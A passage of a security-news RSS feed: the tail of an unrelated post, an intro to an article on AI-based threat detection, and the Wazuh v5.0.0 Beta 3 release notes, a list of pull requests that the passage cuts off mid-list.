<p>Anyway. Even if we can’t have the best thing, we can do better than we are
at the moment, and also it would be lovely if we could standardise on this
rather than have everyone build their own thing. The end.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Does AI Improve Cybersecurity Threat Detection?]]></title>
<description><![CDATA[Artificial intelligence improves cybersecurity threat detection by analysing large volumes of security data, spotting suspicious behaviour, detecting anomalies in real time, and helping security teams respond to threats faster and more accurately. Rather than waiting for a known signature to matc...]]></description>
<link>https://tsecurity.de/de/3641854/it-security-nachrichten/how-does-ai-improve-cybersecurity-threat-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641854/it-security-nachrichten/how-does-ai-improve-cybersecurity-threat-detection/</guid>
<pubDate>Thu, 02 Jul 2026 19:09:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://www.cm-alliance.com/cybersecurity-blog/how-does-ai-improve-cybersecurity-threat-detection" title="" class="hs-featured-image-link"> <img src="https://www.cm-alliance.com/hubfs/AI_Threat_Detection_cropped.webp" alt="AI for Cyber Threat Detection " class="hs-featured-image"> </a> 
</div> 
<p><span>Artificial intelligence improves cybersecurity threat detection by analysing large volumes of security data, spotting suspicious behaviour, detecting anomalies in real time, and helping security teams respond to threats faster and more accurately.</span> Rather than waiting for a known signature to match, AI learns what normal looks like and flags what does not. This shift lets organisations catch threats that older, rule-based tools would miss entirely.</p> 
<p>The rest of this guide explains how that works in practice, where AI genuinely helps, and where it still falls short.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wazuh v5.0.0 Beta 3]]></title>
<description><![CDATA[What's Changed

Improve cluster file synchronization error handling by @TomasTurina in #36129
Update trojan signatures to avoid false positives on modern distros by @Miguevrgo in #35927
Improve cluster merged file parameter validation by @vikman90 in #36204
Create a backup of local_rules.xml duri...]]></description>
<link>https://tsecurity.de/de/3641637/it-security-tools/wazuh-v500-beta-3/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3641637/it-security-tools/wazuh-v500-beta-3/</guid>
<pubDate>Thu, 02 Jul 2026 17:49:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Improve cluster file synchronization error handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4454599181" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36129" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36129/hovercard" href="https://github.com/wazuh/wazuh/pull/36129">#36129</a></li>
<li>Update trojan signatures to avoid false positives on modern distros by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390541461" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35927" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35927/hovercard" href="https://github.com/wazuh/wazuh/pull/35927">#35927</a></li>
<li>Improve cluster merged file parameter validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476621950" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36204" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36204/hovercard" href="https://github.com/wazuh/wazuh/pull/36204">#36204</a></li>
<li>Create a backup of local_rules.xml during execution of IT analysisd tier 0 1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475277385" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36201" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36201/hovercard" href="https://github.com/wazuh/wazuh/pull/36201">#36201</a></li>
<li>Improve tmp_file path validation in cluster DAPI by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4486930454" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36246" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36246/hovercard" href="https://github.com/wazuh/wazuh/pull/36246">#36246</a></li>
<li>Revert bump main branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495350373" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36303" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36303/hovercard" href="https://github.com/wazuh/wazuh/pull/36303">#36303</a></li>
<li>Bump 4.14.7 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496470145" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36312" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36312/hovercard" href="https://github.com/wazuh/wazuh/pull/36312">#36312</a></li>
<li>Serialize procps access to prevent modulesd crash by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cborla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cborla">@cborla</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4489581046" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36261" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36261/hovercard" href="https://github.com/wazuh/wazuh/pull/36261">#36261</a></li>
<li>Remove obsolete configuration blocks from API upload_configuration setting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487498848" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36252" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36252/hovercard" href="https://github.com/wazuh/wazuh/pull/36252">#36252</a></li>
<li>Restore working vulnerability scanner database workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502088595" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36332" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36332/hovercard" href="https://github.com/wazuh/wazuh/pull/36332">#36332</a></li>
<li>Propagate agent merged_sum after hot reload in cluster by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468736412" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36164" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36164/hovercard" href="https://github.com/wazuh/wazuh/pull/36164">#36164</a></li>
<li>Merge 4.14.7 into main by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501542567" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36331" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36331/hovercard" href="https://github.com/wazuh/wazuh/pull/36331">#36331</a></li>
<li>Authd tier 0-1 flaky tests fix by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504446587" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36342" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36342/hovercard" href="https://github.com/wazuh/wazuh/pull/36342">#36342</a></li>
<li>Review agent info logs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485038079" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36234" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36234/hovercard" href="https://github.com/wazuh/wazuh/pull/36234">#36234</a></li>
<li>Fix the wazuh-manager-modules crash that occurs while downloading the feed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503648565" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36337" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36337/hovercard" href="https://github.com/wazuh/wazuh/pull/36337">#36337</a></li>
<li>Migrate FIM DB path queries to parameterized statements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517817292" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36399" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36399/hovercard" href="https://github.com/wazuh/wazuh/pull/36399">#36399</a></li>
<li>Fix AlmaLinux 9/10 bootloader permissions SCA check regex and optional file handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515333133" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36396" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36396/hovercard" href="https://github.com/wazuh/wazuh/pull/36396">#36396</a></li>
<li>Cluster file processing parameter validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494129534" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36296" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36296/hovercard" href="https://github.com/wazuh/wazuh/pull/36296">#36296</a></li>
<li>Add missing 4.10.2-4.10.5 and 4.8.2 entries to changelogs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523024537" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36407" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36407/hovercard" href="https://github.com/wazuh/wazuh/pull/36407">#36407</a></li>
<li>Treat the absence of the hash document as expected, not an error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505113598" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36355" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36355/hovercard" href="https://github.com/wazuh/wazuh/pull/36355">#36355</a></li>
<li>geo_point validation support all compatible formats by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423592068" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36034" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36034/hovercard" href="https://github.com/wazuh/wazuh/pull/36034">#36034</a></li>
<li>Prevent Syscollector and SCA use-after-free on modulesd shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505494861" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36359" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36359/hovercard" href="https://github.com/wazuh/wazuh/pull/36359">#36359</a></li>
<li>Add cluster security model and configuration documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522930141" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36405" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36405/hovercard" href="https://github.com/wazuh/wazuh/pull/36405">#36405</a></li>
<li>Bump CB_SCAN_STARTED timeout and trigger ITs on wm_syscollector.c by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527847069" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36446" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36446/hovercard" href="https://github.com/wazuh/wazuh/pull/36446">#36446</a></li>
<li>Fixed an issue in eBPF with LSM hooks and improved the health check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359560869" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35838" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35838/hovercard" href="https://github.com/wazuh/wazuh/pull/35838">#35838</a></li>
<li>Validate cluster node name format by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4531591190" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36460" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36460/hovercard" href="https://github.com/wazuh/wazuh/pull/36460">#36460</a></li>
<li>eBPF libraries updated by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4533955405" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36467" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36467/hovercard" href="https://github.com/wazuh/wazuh/pull/36467">#36467</a></li>
<li>Bump 4.14.6 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539082172" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36517" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36517/hovercard" href="https://github.com/wazuh/wazuh/pull/36517">#36517</a></li>
<li>Revert "Bump 4.14.6 branch" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MARCOSD4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MARCOSD4">@MARCOSD4</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539151411" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36518" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36518/hovercard" href="https://github.com/wazuh/wazuh/pull/36518">#36518</a></li>
<li>Bump 4.14.6 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539251322" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36519" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36519/hovercard" href="https://github.com/wazuh/wazuh/pull/36519">#36519</a></li>
<li>Update changelog for 4.14.6 RC 1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4539470693" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36562" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36562/hovercard" href="https://github.com/wazuh/wazuh/pull/36562">#36562</a></li>
<li>Fix policy evaluation errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528195977" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36449" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36449/hovercard" href="https://github.com/wazuh/wazuh/pull/36449">#36449</a></li>
<li>Release startup hash gate when the reload chain fails by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495215383" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36302" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36302/hovercard" href="https://github.com/wazuh/wazuh/pull/36302">#36302</a></li>
<li>Revert "Add missing 4.10.2-4.10.5 and 4.8.2 entries to changelogs" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541090106" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36591" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36591/hovercard" href="https://github.com/wazuh/wazuh/pull/36591">#36591</a></li>
<li>Merge merge-4.14.7-into-main into main [automated] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4546876084" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36624" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36624/hovercard" href="https://github.com/wazuh/wazuh/pull/36624">#36624</a></li>
<li>Restore event counter and classify received messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4531260982" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36456" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36456/hovercard" href="https://github.com/wazuh/wazuh/pull/36456">#36456</a></li>
<li>Unify manager integration tests workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485169588" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36235" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36235/hovercard" href="https://github.com/wazuh/wazuh/pull/36235">#36235</a></li>
<li>Remove unused Node.js 12 from arm64 deb agent builder by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467836275" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36156" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36156/hovercard" href="https://github.com/wazuh/wazuh/pull/36156">#36156</a></li>
<li>Remove unused Node.js 12 from arm deb agent builders (4.14.7) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4467837119" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36157" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36157/hovercard" href="https://github.com/wazuh/wazuh/pull/36157">#36157</a></li>
<li>SCA typo bug in SELinux SCA rule for CentOS 8/9/10 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514754415" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36361" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36361/hovercard" href="https://github.com/wazuh/wazuh/pull/36361">#36361</a></li>
<li>Fix <code>detect-changes</code> glob to honour <code>**</code> recursively and extract logic into a reusable action by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544605284" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36617" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36617/hovercard" href="https://github.com/wazuh/wazuh/pull/36617">#36617</a></li>
<li>Merge merge-4.14.6-into-4.14.7 into 4.14.7 [automated] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4546868343" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36623" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36623/hovercard" href="https://github.com/wazuh/wazuh/pull/36623">#36623</a></li>
<li>Reduce log noise when engine has no synchronized ruleset by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505198128" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36356" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36356/hovercard" href="https://github.com/wazuh/wazuh/pull/36356">#36356</a></li>
<li>Update test modules paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549542116" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36668" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36668/hovercard" href="https://github.com/wazuh/wazuh/pull/36668">#36668</a></li>
<li>Only download external deps when required by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4486894083" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36244" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36244/hovercard" href="https://github.com/wazuh/wazuh/pull/36244">#36244</a></li>
<li>Merge 4.14.7 into main by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4548874786" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36664" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36664/hovercard" href="https://github.com/wazuh/wazuh/pull/36664">#36664</a></li>
<li>Mail forwarding and reporting 5.0 migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ripdiegozz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ripdiegozz">@Ripdiegozz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505228985" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36357" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36357/hovercard" href="https://github.com/wazuh/wazuh/pull/36357">#36357</a></li>
<li>Added Ubuntu 26.04's SCA policy in the SPECS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4562694437" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36712" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36712/hovercard" href="https://github.com/wazuh/wazuh/pull/36712">#36712</a></li>
<li>Preliminary support new OSs - Ubuntu 26.04 - Add SCA content by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AwwalQuan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AwwalQuan">@AwwalQuan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561732273" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36708" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36708/hovercard" href="https://github.com/wazuh/wazuh/pull/36708">#36708</a></li>
